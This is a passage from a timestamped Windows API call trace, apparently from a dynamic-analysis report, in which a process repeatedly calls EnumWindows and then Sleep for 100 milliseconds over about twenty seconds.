lParam=0x610000) [0208.052] Sleep (dwMilliseconds=0x64) [0208.123] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.124] Sleep (dwMilliseconds=0x64) [0208.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.208] Sleep (dwMilliseconds=0x64) [0208.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.270] Sleep (dwMilliseconds=0x64) [0208.349] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.350] Sleep (dwMilliseconds=0x64) [0208.420] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.421] Sleep (dwMilliseconds=0x64) [0208.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.458] Sleep (dwMilliseconds=0x64) [0208.540] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.540] Sleep (dwMilliseconds=0x64) [0208.617] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.618] Sleep (dwMilliseconds=0x64) [0208.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.676] Sleep (dwMilliseconds=0x64) [0208.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.740] Sleep (dwMilliseconds=0x64) [0208.834] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.835] Sleep (dwMilliseconds=0x64) [0208.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.910] Sleep (dwMilliseconds=0x64) [0209.005] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.006] Sleep (dwMilliseconds=0x64) [0209.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.083] Sleep (dwMilliseconds=0x64) [0209.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.176] Sleep (dwMilliseconds=0x64) [0209.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.239] Sleep (dwMilliseconds=0x64) [0209.302] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.302] Sleep (dwMilliseconds=0x64) [0209.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.395] Sleep (dwMilliseconds=0x64) [0209.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.473] Sleep (dwMilliseconds=0x64) [0209.536] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.537] Sleep (dwMilliseconds=0x64) [0209.654] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.655] Sleep (dwMilliseconds=0x64) [0209.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0209.723] Sleep (dwMilliseconds=0x64) [0210.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.004] Sleep (dwMilliseconds=0x64) [0210.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.100] Sleep (dwMilliseconds=0x64) [0210.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.192] Sleep (dwMilliseconds=0x64) [0210.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.286] Sleep (dwMilliseconds=0x64) [0210.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.379] Sleep (dwMilliseconds=0x64) [0210.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.473] Sleep (dwMilliseconds=0x64) [0210.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.568] Sleep (dwMilliseconds=0x64) [0210.617] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.618] Sleep (dwMilliseconds=0x64) [0210.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.692] Sleep (dwMilliseconds=0x64) [0210.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.770] Sleep (dwMilliseconds=0x64) [0210.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.848] Sleep (dwMilliseconds=0x64) [0210.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0210.989] Sleep (dwMilliseconds=0x64) [0211.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.051] Sleep (dwMilliseconds=0x64) [0211.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.116] Sleep (dwMilliseconds=0x64) [0211.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.207] Sleep (dwMilliseconds=0x64) [0211.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.272] Sleep (dwMilliseconds=0x64) [0211.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.332] Sleep (dwMilliseconds=0x64) [0211.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.426] Sleep (dwMilliseconds=0x64) [0211.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.489] Sleep (dwMilliseconds=0x64) [0211.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.552] Sleep (dwMilliseconds=0x64) [0211.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.708] Sleep (dwMilliseconds=0x64) [0211.784] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.785] Sleep (dwMilliseconds=0x64) [0211.878] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.879] Sleep (dwMilliseconds=0x64) [0211.949] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0211.950] Sleep (dwMilliseconds=0x64) [0212.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.020] Sleep (dwMilliseconds=0x64) [0212.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.161] Sleep (dwMilliseconds=0x64) [0212.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.254] Sleep (dwMilliseconds=0x64) [0212.324] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.325] Sleep (dwMilliseconds=0x64) [0212.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.363] Sleep (dwMilliseconds=0x64) [0212.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.427] Sleep (dwMilliseconds=0x64) [0212.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.520] Sleep (dwMilliseconds=0x64) [0212.597] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.598] Sleep (dwMilliseconds=0x64) [0212.716] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.717] Sleep (dwMilliseconds=0x64) [0212.757] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.758] Sleep (dwMilliseconds=0x64) [0212.848] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.849] Sleep (dwMilliseconds=0x64) [0212.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.926] Sleep (dwMilliseconds=0x64) [0212.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0212.989] Sleep (dwMilliseconds=0x64) [0213.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.083] Sleep (dwMilliseconds=0x64) [0213.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.161] Sleep (dwMilliseconds=0x64) [0213.242] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.243] Sleep (dwMilliseconds=0x64) [0213.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.286] Sleep (dwMilliseconds=0x64) [0213.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.379] Sleep (dwMilliseconds=0x64) [0213.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.457] Sleep (dwMilliseconds=0x64) [0213.552] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.553] Sleep (dwMilliseconds=0x64) [0213.648] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.649] Sleep (dwMilliseconds=0x64) [0213.699] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.700] Sleep (dwMilliseconds=0x64) [0213.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.739] Sleep (dwMilliseconds=0x64) [0213.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.801] Sleep (dwMilliseconds=0x64) [0213.891] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.892] Sleep (dwMilliseconds=0x64) [0213.949] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0213.950] Sleep (dwMilliseconds=0x64) [0214.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.020] Sleep (dwMilliseconds=0x64) [0214.096] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.207] Sleep (dwMilliseconds=0x64) [0214.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.285] Sleep (dwMilliseconds=0x64) [0214.365] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.366] Sleep (dwMilliseconds=0x64) [0214.418] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.419] Sleep (dwMilliseconds=0x64) [0214.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.457] Sleep (dwMilliseconds=0x64) [0214.534] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.535] Sleep (dwMilliseconds=0x64) [0214.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.614] Sleep (dwMilliseconds=0x64) [0214.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.707] Sleep (dwMilliseconds=0x64) [0214.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.801] Sleep (dwMilliseconds=0x64) [0214.867] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.868] Sleep (dwMilliseconds=0x64) [0214.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.911] Sleep (dwMilliseconds=0x64) [0214.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0214.974] Sleep (dwMilliseconds=0x64) [0215.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.052] Sleep (dwMilliseconds=0x64) [0215.130] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.131] Sleep (dwMilliseconds=0x64) [0215.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.208] Sleep (dwMilliseconds=0x64) [0215.295] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.296] Sleep (dwMilliseconds=0x64) [0215.355] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.356] Sleep (dwMilliseconds=0x64) [0215.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.395] Sleep (dwMilliseconds=0x64) [0215.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.458] Sleep (dwMilliseconds=0x64) [0215.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.535] Sleep (dwMilliseconds=0x64) [0215.597] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.598] Sleep (dwMilliseconds=0x64) [0215.966] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0215.967] Sleep (dwMilliseconds=0x64) [0216.048] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.049] Sleep (dwMilliseconds=0x64) [0216.107] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.108] Sleep (dwMilliseconds=0x64) [0216.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.145] Sleep (dwMilliseconds=0x64) [0216.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.208] Sleep (dwMilliseconds=0x64) [0216.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.301] Sleep (dwMilliseconds=0x64) [0216.362] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.363] Sleep (dwMilliseconds=0x64) [0216.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.427] Sleep (dwMilliseconds=0x64) [0216.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.504] Sleep (dwMilliseconds=0x64) [0216.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.567] Sleep (dwMilliseconds=0x64) [0216.646] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.648] Sleep (dwMilliseconds=0x64) [0216.746] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.747] Sleep (dwMilliseconds=0x64) [0216.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.786] Sleep (dwMilliseconds=0x64) [0216.916] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.917] Sleep (dwMilliseconds=0x64) [0216.978] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0216.979] Sleep (dwMilliseconds=0x64) [0217.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.036] Sleep (dwMilliseconds=0x64) [0217.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.099] Sleep (dwMilliseconds=0x64) [0217.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.176] Sleep (dwMilliseconds=0x64) [0217.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.239] Sleep (dwMilliseconds=0x64) [0217.320] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.321] Sleep (dwMilliseconds=0x64) [0217.393] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.394] Sleep (dwMilliseconds=0x64) [0217.447] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.448] Sleep (dwMilliseconds=0x64) [0217.520] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0217.522] Sleep (dwMilliseconds=0x64) [0218.255] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.257] Sleep (dwMilliseconds=0x64) [0218.324] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.325] Sleep (dwMilliseconds=0x64) [0218.396] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.397] Sleep (dwMilliseconds=0x64) [0218.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.490] Sleep (dwMilliseconds=0x64) [0218.555] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.556] Sleep (dwMilliseconds=0x64) [0218.663] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.664] Sleep (dwMilliseconds=0x64) [0218.741] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.743] Sleep (dwMilliseconds=0x64) [0218.808] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.810] Sleep (dwMilliseconds=0x64) [0218.881] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.882] Sleep (dwMilliseconds=0x64) [0218.959] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0218.960] Sleep (dwMilliseconds=0x64) [0219.037] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.038] Sleep (dwMilliseconds=0x64) [0219.100] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.101] Sleep (dwMilliseconds=0x64) [0219.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.177] Sleep (dwMilliseconds=0x64) [0219.292] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.294] Sleep (dwMilliseconds=0x64) [0219.352] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.354] Sleep (dwMilliseconds=0x64) [0219.427] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.428] Sleep (dwMilliseconds=0x64) [0219.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.489] Sleep (dwMilliseconds=0x64) [0219.570] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.571] Sleep (dwMilliseconds=0x64) [0219.711] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.712] Sleep (dwMilliseconds=0x64) [0219.790] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.791] Sleep (dwMilliseconds=0x64) [0219.873] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.874] Sleep (dwMilliseconds=0x64) [0219.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0219.974] Sleep (dwMilliseconds=0x64) [0220.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.052] Sleep (dwMilliseconds=0x64) [0220.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.115] Sleep (dwMilliseconds=0x64) [0220.227] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.228] Sleep (dwMilliseconds=0x64) [0220.308] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.309] Sleep (dwMilliseconds=0x64) [0220.384] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.385] Sleep (dwMilliseconds=0x64) [0220.547] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.548] Sleep (dwMilliseconds=0x64) [0220.636] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.637] Sleep (dwMilliseconds=0x64) [0220.711] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.712] Sleep (dwMilliseconds=0x64) [0220.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.817] Sleep (dwMilliseconds=0x64) [0220.896] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0220.898] Sleep (dwMilliseconds=0x64) [0221.006] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.007] Sleep (dwMilliseconds=0x64) [0221.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.099] Sleep (dwMilliseconds=0x64) [0221.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.192] Sleep (dwMilliseconds=0x64) [0221.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.317] Sleep (dwMilliseconds=0x64) [0221.411] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.412] Sleep (dwMilliseconds=0x64) [0221.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.474] Sleep (dwMilliseconds=0x64) [0221.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.552] Sleep (dwMilliseconds=0x64) [0221.889] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.891] Sleep (dwMilliseconds=0x64) [0221.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0221.974] Sleep (dwMilliseconds=0x64) [0222.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.067] Sleep (dwMilliseconds=0x64) [0222.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.176] Sleep (dwMilliseconds=0x64) [0222.288] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.289] Sleep (dwMilliseconds=0x64) [0222.372] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.373] Sleep (dwMilliseconds=0x64) [0222.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.457] Sleep (dwMilliseconds=0x64) [0222.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.552] Sleep (dwMilliseconds=0x64) [0222.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.645] Sleep (dwMilliseconds=0x64) [0222.737] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.738] Sleep (dwMilliseconds=0x64) [0222.836] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.836] Sleep (dwMilliseconds=0x64) [0222.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0222.926] Sleep (dwMilliseconds=0x64) [0223.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.020] Sleep (dwMilliseconds=0x64) [0223.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.115] Sleep (dwMilliseconds=0x64) [0223.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.192] Sleep (dwMilliseconds=0x64) [0223.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.317] Sleep (dwMilliseconds=0x64) [0223.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.410] Sleep (dwMilliseconds=0x64) [0223.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.505] Sleep (dwMilliseconds=0x64) [0223.588] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.589] Sleep (dwMilliseconds=0x64) [0223.629] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.631] Sleep (dwMilliseconds=0x64) [0223.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.723] Sleep (dwMilliseconds=0x64) [0223.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.817] Sleep (dwMilliseconds=0x64) [0223.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0223.911] Sleep (dwMilliseconds=0x64) [0224.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.004] Sleep (dwMilliseconds=0x64) [0224.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.067] Sleep (dwMilliseconds=0x64) [0224.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.130] Sleep (dwMilliseconds=0x64) [0224.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.239] Sleep (dwMilliseconds=0x64) [0224.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.333] Sleep (dwMilliseconds=0x64) [0224.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.426] Sleep (dwMilliseconds=0x64) [0224.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.504] Sleep (dwMilliseconds=0x64) [0224.598] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.599] Sleep (dwMilliseconds=0x64) [0224.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.692] Sleep (dwMilliseconds=0x64) [0224.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.786] Sleep (dwMilliseconds=0x64) [0224.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.880] Sleep (dwMilliseconds=0x64) [0224.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0224.957] Sleep (dwMilliseconds=0x64) [0225.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.051] Sleep (dwMilliseconds=0x64) [0225.159] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.161] Sleep (dwMilliseconds=0x64) [0225.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.349] Sleep (dwMilliseconds=0x64) [0225.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.426] Sleep (dwMilliseconds=0x64) [0225.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.504] Sleep (dwMilliseconds=0x64) [0225.568] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.569] Sleep (dwMilliseconds=0x64) [0225.631] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.632] Sleep (dwMilliseconds=0x64) [0225.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.708] Sleep (dwMilliseconds=0x64) [0225.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.786] Sleep (dwMilliseconds=0x64) [0225.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.864] Sleep (dwMilliseconds=0x64) [0225.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0225.942] Sleep (dwMilliseconds=0x64) [0226.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.021] Sleep (dwMilliseconds=0x64) [0226.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.099] Sleep (dwMilliseconds=0x64) [0226.190] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.191] Sleep (dwMilliseconds=0x64) [0226.297] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.298] Sleep (dwMilliseconds=0x64) [0226.445] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.447] Sleep (dwMilliseconds=0x64) [0226.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.536] Sleep (dwMilliseconds=0x64) [0226.593] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.594] Sleep (dwMilliseconds=0x64) [0226.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.629] Sleep (dwMilliseconds=0x64) [0226.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.708] Sleep (dwMilliseconds=0x64) [0226.784] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.785] Sleep (dwMilliseconds=0x64) [0226.862] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.863] Sleep (dwMilliseconds=0x64) [0226.942] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0226.943] Sleep (dwMilliseconds=0x64) [0227.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.036] Sleep (dwMilliseconds=0x64) [0227.112] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.113] Sleep (dwMilliseconds=0x64) [0227.202] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.203] Sleep (dwMilliseconds=0x64) [0227.309] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.310] Sleep (dwMilliseconds=0x64) [0227.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.395] Sleep (dwMilliseconds=0x64) [0227.482] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.483] Sleep (dwMilliseconds=0x64) [0227.527] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.528] Sleep (dwMilliseconds=0x64) [0227.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.570] Sleep (dwMilliseconds=0x64) [0227.851] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.853] Sleep (dwMilliseconds=0x64) [0227.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0227.928] Sleep (dwMilliseconds=0x64) [0228.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.020] Sleep (dwMilliseconds=0x64) [0228.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.115] Sleep (dwMilliseconds=0x64) [0228.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.192] Sleep (dwMilliseconds=0x64) [0228.317] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.318] Sleep (dwMilliseconds=0x64) [0228.401] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.402] Sleep (dwMilliseconds=0x64) [0228.484] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.485] Sleep (dwMilliseconds=0x64) [0228.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.568] Sleep (dwMilliseconds=0x64) [0228.648] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.649] Sleep (dwMilliseconds=0x64) [0228.727] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.729] Sleep (dwMilliseconds=0x64) [0228.776] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.777] Sleep 